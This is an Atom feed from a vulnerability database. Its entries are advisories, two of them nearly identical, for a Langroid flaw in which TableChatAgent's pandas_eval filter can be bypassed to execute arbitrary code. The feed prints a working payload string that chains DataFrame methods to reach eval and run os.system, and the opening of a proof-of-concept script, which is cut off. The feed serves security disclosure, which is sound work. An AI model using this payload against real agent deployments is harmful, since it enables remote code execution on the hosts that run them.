<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-02T23:54:40.674031+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-267380</id>
    <title>EUVD-2026-267380</title>
    <updated>2026-10-02T23:54:40.743185+00:00</updated>
    <content>EUVD-2026-267380</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-267380"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2026-25481</id>
    <title>fkie_cve-2026-25481</title>
    <updated>2026-10-02T23:54:40.743237+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>Langroid is a framework for building large-language-model-powered applications. Prior to version 0.59.32, there is a bypass to the fix for CVE-2025-46724. TableChatAgent can call pandas_eval tool to evaluate the expression. There is a WAF in langroid/utils/pandas_utils.py introduced to block code injection CVE-2025-46724. However it can be bypassed due to _literal_ok() returning False instead of raising UnsafeCommandError on invalid input, combined with unrestricted access to dangerous dunder attributes (__init__, __globals__, __builtins__). This allows chaining whitelisted DataFrame methods to leak the eval builtin and execute arbitrary code. This issue has been patched in version 0.59.32.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2026-25481"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-x34r-63hx-w57f</id>
    <title>GHSA-x34r-63hx-w57f — Langroid has WAF Bypass Leading to RCE in TableChatAgent</title>
    <updated>2026-10-02T23:54:40.743275+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: langroid</p>
<p>## Affected Scope</p>
<p>langroid &lt;= 0.59.31</p>
<p>## Vulnerability Description</p>
<p>CVE-2025-46724 fix bypass:</p>
<p>TableChatAgent can call pandas_eval tool to evaluate the expression. There is a WAF in `langroid/utils/pandas_utils.py` introduced to block code injection CVE-2025-46724. However it can be bypassed due to `_literal_ok()` returning `False` instead of raising `UnsafeCommandError` on invalid input, combined with unrestricted access to dangerous dunder attributes (`__init__`, `__globals__`, `__builtins__`). This allows chaining whitelisted DataFrame methods to leak the `eval` builtin and execute arbitrary code.</p>
<p>## Reproduction &amp; PoC</p>
<p>This payload is used to bypass the waf, when executed, the column name `__import__('os').system('ls')#...` will be passed to eval</p>
<p>```python
df.add_prefix("__import__('os').system('ls')#").T.groupby(by=df.__init__.__globals__['__builtins__']['eval'])
```</p>
<p>here is the PoC</p>
<p>````python
"""Minimal TableChatAgent Demo using Langroid"""</p>
<p>import os
from langroid.agent.special.table_chat_agent import TableChatAgent, TableChatAgentConfig
from langroid.agent.task import Task
import pandas as pd
from langroid.language_models.openai_gpt import OpenAIGPTConfig</p>
<p># Path to the CSV/Excel/TSV file, or URL
data = pd.DataFrame({
    "id": [1],
    "name": ["admin"]
})</p>
<p># Create Table Chat Agent
config = TableChatAgentConfig(
    data=data,
    llm=OpenAIGPTConfig(
        api_base=os.getenv("base_url"),
        api_key=os.getenv("api_key"),
        chat_model="deepseek-v…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-x34r-63hx-w57f"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/pysec-2026-383</id>
    <title>PYSEC-2026-383 — Langroid has WAF Bypass Leading to RCE in TableChatAgent</title>
    <updated>2026-10-02T23:54:40.743332+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: langroid</p>
<p>## Affected Scope</p>
<p>langroid &lt;= 0.59.31</p>
<p>## Vulnerability Description
 
CVE-2025-46724 fix bypass:</p>
<p>TableChatAgent can call pandas_eval tool to evaluate the expression. There is a WAF in `langroid/utils/pandas_utils.py` introduced to block code injection CVE-2025-46724. However it can be bypassed due to `_literal_ok()` returning `False` instead of raising `UnsafeCommandError` on invalid input, combined with unrestricted access to dangerous dunder attributes (`__init__`, `__globals__`, `__builtins__`). This allows chaining whitelisted DataFrame methods to leak the `eval` builtin and execute arbitrary code.</p>
<p>## Reproduction &amp; PoC</p>
<p>This payload is used to bypass the waf, when executed, the column name `__import__('os').system('ls')#...` will be passed to eval</p>
<p>```python
df.add_prefix("__import__('os').system('ls')#").T.groupby(by=df.__init__.__globals__['__builtins__']['eval'])
```</p>
<p>here is the PoC</p>
<p>````python
"""Minimal TableChatAgent Demo using Langroid"""</p>
<p>import os
from langroid.agent.special.table_chat_agent import TableChatAgent, TableChatAgentConfig
 from langroid.agent.task import Task
import pandas as pd
from langroid.language_models.openai_gpt import OpenAIGPTConfig</p>
<p># Path to the CSV/Excel/TSV file, or URL
data = pd.DataFrame({
    "id": [1],
    "name": ["admin"]
})</p>
<p># Create Table Chat Agent
 config = TableChatAgentConfig(
    data=data,
    llm=OpenAIGPTConfig(
        api_base=os.getenv("base_url"),
        api_key=os.getenv("api_key"),
        chat_model="deepse…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/pysec-2026-383"/>
  </entry>
</feed>
